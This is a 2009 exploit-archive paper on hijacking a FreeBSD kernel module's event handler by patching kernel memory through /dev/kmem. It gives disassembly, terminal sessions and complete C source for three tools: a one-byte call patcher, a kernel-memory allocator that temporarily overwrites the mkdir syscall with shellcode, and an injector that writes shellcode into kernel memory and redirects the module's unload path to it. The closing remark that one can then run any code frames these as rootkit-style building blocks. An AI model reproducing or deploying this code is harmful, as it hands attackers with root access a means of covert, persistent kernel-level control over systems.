[*]]]]] Hijacking LKM's event handler - FreeBSD case study [[[[[*]
bY suN8Hclf
of Lost Hop3z
blacksideofthesun.linuxsecured.net
crimson.loyd@gmail.com
05/05/2009
"To those who follow their dreams and specialize in the impossible"
****] 0x01 Abstract
****] 0x02 FreeBSD's LKMs
****] 0x03 Basic FreeBSD's LKM
****] 0x04 Inside event handler
****] 0x05 Near Call jumps
****] 0x06 Basic 1-byte patch
****] 0x07 Advanced technique
==] 0x07.a Kernel memory allocation
==] 0x07.b Putting it all together
****] 0x08 Summary
****] 0x09 Codes
****] 0x01 Abstract
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This paper is about LKMs (Loadable Kernel Modules) in FreeBSD Operating System.
It presents an interesting (at least to me) method of intercepting LKM's code
flow by hijacking event handler. I havent found any paper about this technique so
I decided to write one. This paper is rather easy however you should be familiar
with the following concepts to fully understand the content:
* basic operating systems concepts
* x86 assembly and C languages
* know what /dev/kmem is, and how it can be (ab)used
* have some knowledge about FreeBSD's LKMs
****] 0x02 FreeBSD's LKMs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A Loadable Kernel Module (LKM) is not a new concept among Operating Systems.
Generally speaking it is a piece of code, that can be loaded into kernel memory to
extend functionality, implement new features within existing kernel code or
provide some kind of services (device drivers etc).
As its name suggests, LKM can be loaded any time there is a need and it is
the easiest way to place a code into kernel-space.
LKM's code executes on ring0 level, therefore it has a total control over entire
operating system. It can change important data structures or do other ugly (?) things.
****] 0x03 Basic FreeBSD's LKM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This paper is not a book about writing LKMs under FreeBSD operating system, therefore
I will quickly present only essential information. The simplest FreeBSD's kernel module
consists of 3 parts:
* event handler
* moduledata structure
* DECLARE_MODULE() macro
event handler defines actions to be performed in response to a particular events
like LKM being loaded or unloaded.
moduledata structure (declared in <sys/module.h>) stores some information about LKM:
its name and pointer to event handler function.
DECLARE_MODULE() macro is used to link and register a LKM within the kernel.
Armed with this knowledge we can write a simple LKM that will be used to present
techniques described in this paper (lkm_sample.c).
root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldstat
Id Refs Address Size Name
1 21 0xc0400000 3cd038 kernel
2 6 0xc07ce000 1eed0 linux.ko
3 1 0xc07ed000 3910 ulpt.ko
4 1 0xc07f1000 5c340 acpi.ko
5 1 0xc23a7000 6000 linprocfs.ko
6 1 0xc2472000 2d000 pf.ko
7 1 0xc2669000 6000 snd_csa.ko
8 2 0xc267a000 1d000 sound.ko
9 1 0xc27b7000 8000 vmmon_up.ko
10 1 0xc27c1000 2000 vmnet.ko
11 1 0xc27c4000 2000 rtc.ko
12 1 0xc2f4d000 2000 lkm_sample.ko
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra#
Ok, it works perfectly, now lets see how event handler looks like.
****] 0x04 Inside event handler
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
root@alhambra# objdump -d ./lkm_sample.ko
./lkm_sample.ko: file format elf32-i386-freebsd
Disassembly of section .text:
[..]
00000420 <printOwned>:
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 68 85 04 00 00 push $0x485
428: e8 fc ff ff ff call 429 <printOwned+0x9>
42d: c9 leave
42e: c3 ret
42f: 90 nop
[..]
00000430 <event_handler>:
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 53 push %ebx
434: 8b 45 0c mov 0xc(%ebp),%eax <-- put event type into EAX
437: 31 db xor %ebx,%ebx <-- EBX = 0
439: 85 c0 test %eax,%eax <-- is EAX == 0 (MOD_LOAD)?
43b: 74 0f je 44c <event_handler+0x1c> <-- if so, jump to printHello()
43d: 48 dec %eax
43e: 74 18 je 458 <event_handler+0x28> <-- was EAX == 1 (MOD_UNLOAD)?
440: bb 2d 00 00 00 mov $0x2d,%ebx
445: 89 d8 mov %ebx,%eax
447: 5b pop %ebx
448: c9 leave
449: c3 ret
44a: 89 f6 mov %esi,%esi
44c: e8 af ff ff ff call 400 <printHello>
451: 89 d8 mov %ebx,%eax
453: 5b pop %ebx
454: c9 leave
455: c3 ret
456: 89 f6 mov %esi,%esi
458: e8 b3 ff ff ff call 410 <printBye>
45d: 89 d8 mov %ebx,%eax
45f: 5b pop %ebx
460: c9 leave
461: c3 ret
Well, this dump looks really simple, and the assembly code implements standard
switch()/case construction.
****] 0x05 Near Call jumps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Before we start playing around with LKM's event handler, you should understand how
near call's are translated into machine code. This is really simple but important
so do not ignore this small section. Consider the following code:
206: e8 f5 00 00 00 call 300
20B: b8 2f 14 00 00 mov $0x142f, %eax
When the IP (Instruction pointer) gets to line 206 it will jump to code at 300.
CALL intruction is represented by 0xE8, however 0xf5000000 is not 0x300. Weird?
Well, this kind of call is named "near call" and the value after CALL's opcode is
A DISTANCE from location we jump to, to a place we return after call is finished:
0x300 - 0x20B = 0xF5.
****] 0x06 Basic 1-byte patch
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you look carefully at lkm_sample.c's code, you will see a function named printOwned().
It is never called within the entire LKM, so lets force LKM to call it :).
Think with me, our LKM implements two events - MOD_LOAD and MOD_UNLOAD. MOD_LOAD is called
when the LKM is being loaded into kernel memory so it is not a good attack vector
(we want to hijack LKM while it is running). But what about MOD_UNLOAD? And what and where
to patch?
During my research I patched the line 458 and it works perfectly.
The algorithm is the following:
1. Locate code from "line 458" wihin kernel memory
2. Patch 0xb3 to 0xc3 (0x420 - 0x45d)
3. Run the code by unloading the module
The code implementing this method is located at the end of paper (basic_hijack.c).
root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra# gcc basic_hijack.c -o basic_hijack -lkvm
root@alhambra# ./basic_hijack
[+]Patching code at 0xc2f50458
[*]Done, now unload the module to trigger the code :)
root@alhambra# kldunload lkm_sample
You shouldnt see this message...Am I owned?!
root@alhambra#
****] 0x07 Advanced technique
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The previous example is not very effective because we are limited to code inside LKM.
So what about executing our own independent code?
==] 0x07.a Kernel memory allocation
**************************************
Generally the method for allocating kernel memory from user-land was developed
by Salvio Cesare and can be described as the following:
1. Find an address of a syscall
2. Write a function allocating kernel memory
3. Save sizeof(our_function) bytes of a chosen syscall
4. Overwrite a syscall with our function
5. Call that syscall (in fact, our function will be called)
6. Restore a syscall
Code for allocating kernel memory is at the end of paper (allocuser.c) - it hookes
mkdir syscall and yes, it was not written by me :).
==] 0x07.b Putting it all together
**************************************
So lets sum things up. To execute our code we need to do the following:
1. Allocate some kernel memory (allocuser.c code)
2. Place our code into allocated memory area
3. Overwrite line 458 with a jump to out code
4. Prevent kernel from crashing ;p
Advanced_hijack.c implements this technique and forces LKM to print a nice string.
At this stage, you are limited only to your imagination, you can execute every
code :)
root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldunload lkm_sample
Bye world
root@alhambra# ./allocuser 100
Address of kernel memory: 0xc2f46700
root@alhambra# kldload ./lkm_sample.ko
Hello world
root@alhambra# kldstat
Id Refs Address Size Name
1 21 0xc0400000 3cd038 kernel
2 6 0xc07ce000 1eed0 linux.ko
3 1 0xc07ed000 3910 ulpt.ko
4 1 0xc07f1000 5c340 acpi.ko
5 1 0xc23a7000 6000 linprocfs.ko
6 1 0xc2472000 2d000 pf.ko
7 1 0xc2669000 6000 snd_csa.ko
8 2 0xc267a000 1d000 sound.ko
9 1 0xc27b7000 8000 vmmon_up.ko
10 1 0xc27c1000 2000 vmnet.ko
11 1 0xc27c4000 2000 rtc.ko
12 1 0xc2f80000 2000 lkm_sample.ko
root@alhambra# gcc advanced_hijack.c -o advanced_hijack -lkvm
root@alhambra# ./advanced_hijack
[+]Patching code at 0xc2f80458
[*]Done, unload the module to trigger the code :)
root@alhambra# kldunload lkm_sample
WANNA BE A NINJA?
root@alhambra# Done, game ov3r :)))
****] 0x08 Summary
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In this paper, a nice and interesting technique for intercepting LKM's flow was
presented. Its usage is of course limited because a particular environment has to
be provided to make it work.
****] 0x09 Codes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
----------------------------lkm_sample.c----------------------------
/*
* C0de bY suN8Hclf of Lost Hop3z
* blacksideofthesun.linuxsecured.net
* crimson.loyd@gmail.com
*/
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
void printHello(void);
void printBye(void);
void printOwned(void);
void printHello(void) {
uprintf("Hello world\n");
}
void printBye(void) {
uprintf("Bye world\n");
}
void printOwned(void) {
uprintf("You shouldnt see this message...Am I owned?!\n");
}
static int event_handler(struct module *module, int event, void *arg) {
int e = 0;
switch(event) {
case MOD_LOAD:
printHello();
break;
case MOD_UNLOAD:
printBye();
break;
default:
e = EOPNOTSUPP;
break;
}
return e;
}
static moduledata_t lkm_sample_conf = {
"lkm_sample",
event_handler,
NULL
};
DECLARE_MODULE(lkm_sample, lkm_sample_conf, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
----------------------------lkm_sample.c----------------------------
----------------------------basic_hijack.c----------------------------
/*
* C0de bY suN8Hclf of Lost Hop3z
* blacksideofthesun.linuxsecured.net
* crimson.loyd@gmail.com
*/
#include <stdio.h>
#include <kvm.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* base of LKM, get it from kldstat */
#define START_ADDR 0xc2f50000
int main(int argc, char *argv[])
{
kvm_t *kd;
char errbuf[128];
unsigned char buffer[2000];
int i, ret;
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf);
exit(1);
}
memset(buffer, 0, sizeof(buffer));
ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer));
if(ret < 0) {
fprintf(stderr, "Cannot read from /dev/kmem: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(2);
}
/* simple linear searching... */
for(i = 0; i < sizeof(buffer) - 1; i++) {
if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) && (buffer[i+2] == 0xff)) {
printf("[+]Patching code at 0x%x\n", START_ADDR + i);
buffer[i+1] = 0xc3;
}
}
ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer));
if(ret < 0) {
fprintf(stderr, "Cannot write: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(3);
}
printf("[*]Done, now unload the module to trigger the code :)\n");
kvm_close(kd);
return 0;
}
----------------------------basic_hijack.c----------------------------
----------------------------allocuser.c----------------------------
#include <stdio.h>
#include <fcntl.h>
#include <kvm.h>
#include <nlist.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/module.h>
#define OFFSET_1 0x3a
#define OFFSET_2 0x56
unsigned char code[] =
"\x55" /* push %ebp */
"\xba\x01\x00\x00\x00" /* mov $0x1,%edx */
"\x89\xe5" /* mov %esp,%ebp */
"\x53" /* push %ebx */
"\x83\xec\x14" /* sub $0x14,%esp */
"\x8b\x5d\x0c" /* mov 0xc(%ebp),%ebx */
"\x8b\x03" /* mov (%ebx),%eax */
"\x85\xc0" /* test %eax,%eax */
"\x75\x0b" /* jne 20 <kmalloc+0x20> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xd0" /* mov %edx,%eax */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\xc3" /* ret */
"\x8d\x76\x00" /* lea 0x0(%esi),%esi */
"\xc7\x44\x24\x08\x01\x00\x00" /* movl $0x1,0x8(%esp) */
"\x00"
"\xc7\x44\x24\x04\x00\x00\x00" /* movl $0x0,0x4(%esp) */
"\x00"
"\x8b\x00" /* mov (%eax),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 36 <kmalloc+0x36> */
"\x89\x45\xf8" /* mov %eax,0xfffffff8(%ebp) */
"\xc7\x44\x24\x08\x08\x00\x00" /* movl $0x8,0x8(%esp) */
"\x00"
"\x8b\x03" /* mov (%ebx),%eax */
"\x89\x44\x24\x04" /* mov %eax,0x4(%esp) */
"\x8d\x45\xf4" /* lea 0xfffffff4(%ebp),%eax */
"\x89\x04\x24" /* mov %eax,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call 52 <kmalloc+0x52> */
"\x83\xc4\x14" /* add $0x14,%esp */
"\x89\xc2" /* mov %eax,%edx */
"\x5b" /* pop %ebx */
"\xc9" /* leave */
"\x89\xd0" /* mov %edx,%eax */
"\xc3"; /* ret */
struct kma_struct {
unsigned long size;
unsigned long *addr;
};
int main(int argc, char **argv)
{
int i = 0;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
u_int32_t offset_1;
u_int32_t offset_2;
struct nlist nl[] =
{{ NULL },{ NULL },{ NULL },{ NULL },{ NULL },};
unsigned char origcode[sizeof(code)];
struct kma_struct kma;
if(argc != 2) {
printf("Usage:\n%s <size>\n", argv[0]);
exit(0);
}
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "mkdir";
nl[1].n_name = "M_TEMP";
nl[2].n_name = "malloc";
nl[3].n_name = "copyout";
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
for(i = 0; i < 4; i++) {
if(!nl[i].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n"
, nl[i].n_name);
exit(-1);
}
}
offset_1 = nl[0].n_value + OFFSET_1;
offset_2 = nl[0].n_value + OFFSET_2;
*(unsigned long *)&code[44] = nl[1].n_value;
*(unsigned long *)&code[54] = nl[2].n_value - offset_1;
*(unsigned long *)&code[82] = nl[3].n_value - offset_2;
if(kvm_read(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if(kvm_write(kd, nl[0].n_value, code, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
kma.size = (unsigned long)atoi(argv[1]);
syscall(136, &kma);
printf("Address of kernel memory: 0x%x\n", kma.addr);
if(kvm_write(kd, nl[0].n_value, origcode, sizeof(code)) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if(kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
----------------------------allocuser.c----------------------------
----------------------------Advanced_hijack.c----------------------------
/*
* C0de bY suN8Hclf of Lost Hop3z
* blacksideofthesun.linuxsecured.net
* crimson.loyd@gmail.com
*/
#include <stdio.h>
#include <kvm.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* base of our LKM, get using kldstat */
#define START_ADDR 0xc2eb8000
/* address of allocated memory */
#define MEMORY 0xc23ad000
unsigned char jump[] =
"\xb8\x00\x00\x00\x00" /* mov eax, our_address */
"\xff\xd0"; /* call eax */
unsigned char ha_code[] =
"\x57"
"\x41"
"\x4e"
"\x4e"
"\x41"
"\x20"
"\x42"
"\x45"
"\x20"
"\x41"
"\x20"
"\x4e"
"\x49"
"\x4e"
"\x4a"
"\x41"
"\x3f"
"\x00"
"\x55" /* push %ebp */
"\x89\xe5" /* mov %esp,%ebp */
"\x83\xec\x08" /* sub $0x8,%esp */
"\x8b\x45\x0c" /* mov 0xc(%ebp),%eax */
"\x8b\x00" /* mov (%eax),%eax */
"\xc7\x04\x24\x0d\x00\x00\x00" /* movl $0xd,(%esp) */
"\xe8\xfc\xff\xff\xff" /* call uprintf */
"\x31\xc0" /* xor %eax,%eax */
"\x83\xc4\x08" /* add $0x8,%esp */
"\x5d" /* pop %ebp */
"\x89\xd8" /* mov %ebx,%eax */
"\xc3"; /* ret */
int main(int argc, char *argv[])
{
kvm_t *kd;
char errbuf[128];
int ret;
u_int32_t offset;
unsigned char buffer[2000];
int i;
struct nlist nl[] = { { NULL}, { NULL } };
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if(kd == NULL) {
fprintf(stderr, "Cannot open /dev/kmem: %s\n", errbuf);
exit(1);
}
memset(buffer, 0, sizeof(buffer));
nl[0].n_name = "uprintf";
if(kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "Cannot get symbol address: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(2);
}
if(!nl[0].n_value) {
printf("Cannot find symbol :(\n");
kvm_close(kd);
exit(3);
}
ret = kvm_read(kd, START_ADDR, buffer, sizeof(buffer));
if(ret < 0) {
fprintf(stderr, "Cannot read /dev/kmem: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(4);
}
/* basic linear searching */
for(i = 0; i < sizeof(buffer) - 1; i++) {
if((buffer[i] == 0xe8) && (buffer[i+1] == 0xb3) &&
(buffer[i+2] == 0xff)) {
printf("[+]Patching code at 0x%x\n", START_ADDR + i);
*(unsigned long *)&jump[1] = MEMORY + 18 /* length of string */;
buffer[i] = jump[0];
buffer[i+1] = jump[1];
buffer[i+2] = jump[2];
buffer[i+3] = jump[3];
buffer[i+4] = jump[4];
buffer[i+5] = jump[5];
buffer[i+6] = jump[6];
}
}
*(unsigned long *)&ha_code[32] = (unsigned long)MEMORY;
offset = (unsigned long)MEMORY + 0x29;
*(unsigned long *)&ha_code[37] = nl[0].n_value - offset;
ret = kvm_write(kd, START_ADDR, buffer, sizeof(buffer));
if(ret < 0) {
fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(3);
}
ret = kvm_write(kd, MEMORY, ha_code, sizeof(ha_code));
if(ret < 0) {
fprintf(stderr, "Cannot write to /dev/kmem: %s\n", kvm_geterr(kd));
kvm_close(kd);
exit(3);
}
printf("[*]Done, unload the module to trigger the code :)\n");
kvm_close(kd);
return 0;
}
----------------------------Advanced_hijack.c----------------------------
# milw0rm.com [2009-05-05]